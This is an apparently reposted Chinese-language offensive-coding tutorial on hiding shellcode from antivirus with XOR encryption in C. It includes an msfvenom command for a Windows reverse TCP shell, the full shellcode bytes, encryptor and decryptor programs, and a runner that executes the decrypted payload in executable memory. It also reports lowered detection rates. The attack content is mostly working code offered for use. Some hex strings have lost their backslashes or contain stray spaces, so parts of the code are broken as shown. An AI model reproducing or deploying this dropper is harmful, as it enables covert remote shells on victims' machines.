大家好,红队成员。AV 规避技术之一是加密。虽然加密算法有很多,但 XOR 确实很方便且易于实现。让我们用 C 来实现它。
理论为什么我们需要加密?
AV 供应商主要有两种检测技术。
-
基于签名
-
基于启发式
第一个是在文件放入磁盘后立即初始化的。它的目的是寻找恶意内容或匹配的哈希值(从全局数据库视为恶意的)
第二个更有趣,因为它尝试在沙盒环境中运行应用程序,并试图了解它正在做什么。
加密技术主要针对绕过基于签名的检测,但它们也有助于启发式检测。这个想法相当简单,我们可以将真实的恶意 shellcode(十六进制的机器指令)加密存储,而不是将其存储在变量中,因此字符串与任何签名都不一样。
当然,加密后shellcode是无法执行的,关键是在运行时解密。
嗯,这很好,但是启发式方法是否会运行应用程序并在运行时捕获解密的 shellcode?
是的,但有时它甚至可以帮助逃避基于启发式的检测。让我这样说吧,不要将 AV 逃避视为一种可以穿透所有供应商的灵丹妙药,它更像是一套技术,每一种技术都会降低检测率。
XOR 是什么?
加密方法有很多种,几乎每个人都可以实现自己的方法。为什么要用 XOR?原因如下:
-
容易明白
-
易于实施
-
作品!
异或加密的历史源自异或门,可在此处找到:
异或门 — 维基百科
https://en.wikipedia.org/wiki/XOR_gate
异或密码背后的原始理论可以在这里找到:
XOR 密码 — 维基百科
https://en.wikipedia.org/wiki/XOR_cipher
简而言之,这是一个按位操作,使用给定的自定义密钥一次加密一位。让我用代码演示一下。
它的 C 实现很简单:
#include <stdio.h>
unsigned char code[] = "Test";
int main()
{
char key = 'K';
int i = 0;
for (i; i<sizeof(code); i++)
{
printf("\x%02x",code[i]^key);
}
}
输出:
x1fx2ex38x3fx4b
这旨在仅打印加密的 shellcode。如果需要,我们可以将其写入文件或通过网络发送,但为了简单起见,我们将使用复制/粘贴。
现在,让我们创建解密器。算法是相同的,我们需要实现的唯一区别是,用之前代码中的加密 shellcode 替换字符串,降低 for 循环中 char 数组的大小,并覆盖字符数组,而不是打印出内容。让我说得更清楚一点:
#include <stdio.h>
unsigned char code[] = "x1fx2ex38x3fx4b";
int main()
{
char key = 'K';
int i = 0;
for (i; i<sizeof(code) - 1; i++)
{
code[i] = code[i]^key;
}
printf("%s", code);
}
print 语句不是必需的,但我只是想展示 xor 是如何工作的。通过打印变量“code”,我们得到:
Test
确认流程运行正常。
笔记
对于关键变量,需要使用单引号 (‘) 而不是双引号 (“)。使用双引号实现时会破坏算法。我认为这是 C 解释字符串与字符变量类型的方式。
武器化
当我们使用简单的字符串时,一切都很好,但是对于真实的、武器化的代码呢?
我们首先生成恶意负载:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -fc
然后将输出附加到encryptor.c
#include <stdio.h>
unsigned char code[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52"
"x51x48x31xd2x65x48x8bx52x60x56x48x8bx52x18x48"
"x8bx52x20x4dx31xc9x48x8bx72x50x48x0fxb7x4ax4a"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8b"
"x80x88x00x00x00x48x85xc0x74x67x48x01xd0x8bx48"
"x18x44x8bx40x20x50x49x01xd0xe3x56x4dx31xc9x48"
"xffxc9x41x8bx34x88x48x01xd6x48x31xc0x41xc1xc9"
"x0dxacx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45"
"x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8b"
"x0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48"
"x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9"
"x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00"
"x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5"
"x49xbcx02x00x01xbbxc0xa8xfex82x41x54x49x89xe4"
"x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68"
"x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0a"
"x41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89"
"xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xba"
"x99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5"
"xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9"
"x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5"
"x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41"
"x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41"
"xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31"
"xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8"
"x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40"
"x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5"
"x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
"xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
"xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5";
int main()
{
char key = 'K';
int i = 0;
for (i; i<sizeof(code); i++)
{
printf("\x%02x",code[i]^key);
}
}
其余代码保持不变。编译并执行后,我们收到以下输出:
xb7x03xc8xafxbbxa3x87x4bx4bx4bx0ax1ax0ax1bx19x1ax03x7ax99x2ex03xc0x19x2bx1dx03xc0x19x53x03xc0x1 9x6bx06x7ax82x03xc0x39x1bx03x44xfcx01x01x03x7ax8bxe7x77x2ax37x49x67x6bx0ax8ax82x46x0ax4ax8axa9xa 6x19x0ax1ax03xc0x19x6bxc0x09x77x03x4ax9bx2dxcax33x53x40x49x44xcex39x4bx4bx4bxc0xcbxc3x4bx4bx 4bx0 3xcex8bx3fx2cx03x4ax9bxc0x03x53x0fxc0x0bx6bx1bx02x4ax9bxa8x1dx06x7ax82x03xb4x82x0axc0x7fxc3x03x4 ax9dx03x7ax8bx0ax8ax82x46xe7x0ax4ax8ax73xabx3exbax07x48x07x6fx43x0ex72x9ax3ex93x13x0fxc0x0bx6fx 02x4ax9bx2dx0axc0x47x03x0fxc0x0bx57x02x4ax9bx0axc0x4fxc3x03x4ax9bx0ax13x0ax13x15x12x11x0ax13x0ax 12x0ax11x03xc8xa7x6bx0ax19xb4xabx13x0ax12x11x03xc0x59xa2x00xb4xb4xb4x16x02xf5x3cx38x79x14x78x79x 4bx4bx0ax1dx02xc2xadx03xcaxa7xebx4ax4bx4bx02xc2xaex02xf7x49x4bx4axf0x8bxe3xb5xc9x0ax1fx02xc2xaf x 07xc2xbax0axf1x07x3cx6dx4cxb4x9ex07xc2xa1x23x4ax4ax4bx4bx12x0axf1x62xcbx20x4bxb4x9ex21x41x0ax15 x1bx1bx06x7ax82x06x7ax8bx03xb4x8bx03xc2x89x03xb4x8bx03xc2x8ax0axf1xa1x44x94xabxb4x9ex03xc2x8c x21 x5bx0ax13x07xc2xa9x03xc2xb2x0axf1xd2xeex3fx2axb4x9excex8bx3fx41x02xb4x85x3exaexa3xd8x4bx4bx4bx0 3 xc8xa7x5bx03xc2xa9x06x7ax82x21x4fx0ax13x03xc2xb2x0axf1x49x92x83x14xb4x9exc8xb3x4bx35x1ex03xc8x8f x6bx15xc2xbdx21x0bx0ax12x23x4bx5bx4bx4bx0ax13x03xc2xb9x03x7ax82x0axf1x13xefx18xaexb4x9ex03xc2x88 x02xc2x8cx06x7ax82x02xc2xbbx03xc2x91x03xc2xb2x0axf1x49x92x83x14xb4x9exc8xb3x4bx36x63x13x0ax1cx12 x23x4bx0bx4bx4bx0ax13x21x4bx11x0axf1x40x64x44x7bxb4x9ex1cx12x0axf1x3ex25x06x2axb4x9ex02xb4x85xa2 x77xb4xb4xb4x03x4ax88x03x62x8dx03xcexbdx3exffx0axb4xacx13x21x4bx12x02x8cx89xbbxfexe9x1dxb4x9ex4b
现在,让我们通过将输出复制到 decryptor.c 来重复该过程,同时实现用于 shell 执行的 Windows API:
#include <stdio.h>
#include <windows.h>
unsigned char code[] = "xb7x03xc8xafxbbxa3x87x4bx4bx4bx0ax1ax0ax1bx19x1ax03x7ax99x2ex03xc0x19x2bx1dx03xc0x19x53x03xc0x19x6bx06x7ax82x03xc0x39x1bx03x44xfcx01x01x03x7ax8bxe7x77x2ax37x49x67x6bx0ax8ax82x46x0ax4ax8axa9xa6x19x0ax1ax03xc0x19x6bxc0x09x77x03x4ax9bx2dxcax33x53x40x49x44xcex39x4bx4bx4bxc0xcbxc3x4bx4bx4bx03xcex8bx3fx2cx03x4ax9bxc0x03x53x0fxc0x0bx6bx1bx02x4ax9bxa8x1dx06x7ax82x03xb4x82x0axc0x7fxc3x03x4ax9dx03x7ax8bx0ax8ax82x46xe7x0ax4ax8ax73xabx3exbax07x48x07x6fx43x0ex72x9ax3ex93x13x0fxc0x0bx6fx02x4ax9bx2dx0axc0x47x03x0fxc0x0bx57x02x4ax9bx0axc0x4fxc3x03x4ax9bx0ax13x0ax13x15x12x11x0ax13x0ax12x0ax11x03xc8xa7x6bx0ax19xb4xabx13x0ax12x11x03xc0x59xa2x00xb4xb4xb4x16x02xf5x3cx38x79x14x78x79x4bx4bx0ax1dx02xc2xadx03xcaxa7xebx4ax4bx4bx02xc2xaex02xf7x49x4bx4axf0x8bxe3xb5xc9x0ax1fx02xc2xafx07xc2xbax0axf1x07x3cx6dx4cxb4x9ex07xc2xa1x23x4ax4ax4bx4bx12x0axf1x62xcbx20x4bxb4x9ex21x41x0ax15x1bx1bx06x7ax82x06x7ax8bx03xb4x8bx03xc2x89x03xb4x8bx03xc2x8ax0axf1xa1x44x94xabxb4x9ex03xc2x8cx21x5bx0ax13x07xc2xa9x03xc2xb2x0axf1xd2xeex3fx2axb4x9excex8bx3fx41x02xb4x85x3exaexa3xd8x4bx4bx4bx03xc8xa7x5bx03xc2xa9x06x7ax82x21x4fx0ax13x03xc2xb2x0axf1x49x92x83x14xb4x9exc8xb3x4bx35x1ex03xc8x8fx6bx15xc2xbdx21x0bx0ax12x23x4bx5bx4bx4bx0ax13x03xc2xb9x03x7ax82x0axf1x13xefx18xaexb4x9ex03xc2x88x02xc2x8cx06x7ax82x02xc2xbbx03xc2x91x03xc2xb2x0axf1x49x92x83x14xb4x9exc8xb3x4bx36x63x13x0ax1cx12x23x4bx0bx4bx4bx0ax13x21x4bx11x0axf1x40x64x44x7bxb4x9ex1cx12x0axf1x3ex25x06x2axb4x9ex02xb4x85xa2x77xb4xb4xb4x03x4ax88x03x62x8dx03xcexbdx3exffx0axb4xacx13x21x4bx12x02x8cx89xbbxfexe9x1dxb4x9ex4b";
int main()
{
char key = 'K';
int i = 0;
for (i; i<sizeof(code) - 1; i++)
{
code[i] = code[i]^key;
}
void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, code, sizeof code);
((void(*)())exec)();
return 0;
}
如果你想进一步了解 shellcode 运行器的工作原理,可以在这里找到:https://youtu.be/lkZWaycrr9I
通过编译并运行该程序,我们可以看到shell挂起,同时收到回调:
测试时间
对于基本模型,我们将使用 C 中的未加密的 shellcode 运行器:
#include <windows.h>
unsigned char buf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"
"x49x89xe5x49xbcx02x00x01xbbxc0xa8xfex82x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"
"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"
"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"
"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"
"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"
"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"
"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"
"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"
"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"
"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"
"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"
"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"
"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"
"x72x6fx6ax00x59x41x89xdaxffxd5";
int main()
{
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
通过将其上传到 antiscan.me,我们可以观察到 26 家供应商中的 16 家检测到了它!
上传经过异或处理的dropper后,我们可以观察到双倍的逃避统计数据:
因此,我们从 16/26 提高到了 8/26,这仅基于一种技术就取得了惊人的成果!
结论
AV 规避很有趣,但很耗时。我不喜欢重复,但我觉得这一点很重要:不要将 AV 规避视为能够穿透所有供应商的灵丹妙药,它更像是一套技术,每一项都会降低检测率!
希望你学到了新东西!
敬请关注!
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):使用 XOR 加密 Shellcode | 使用 C 语言进行攻击性编码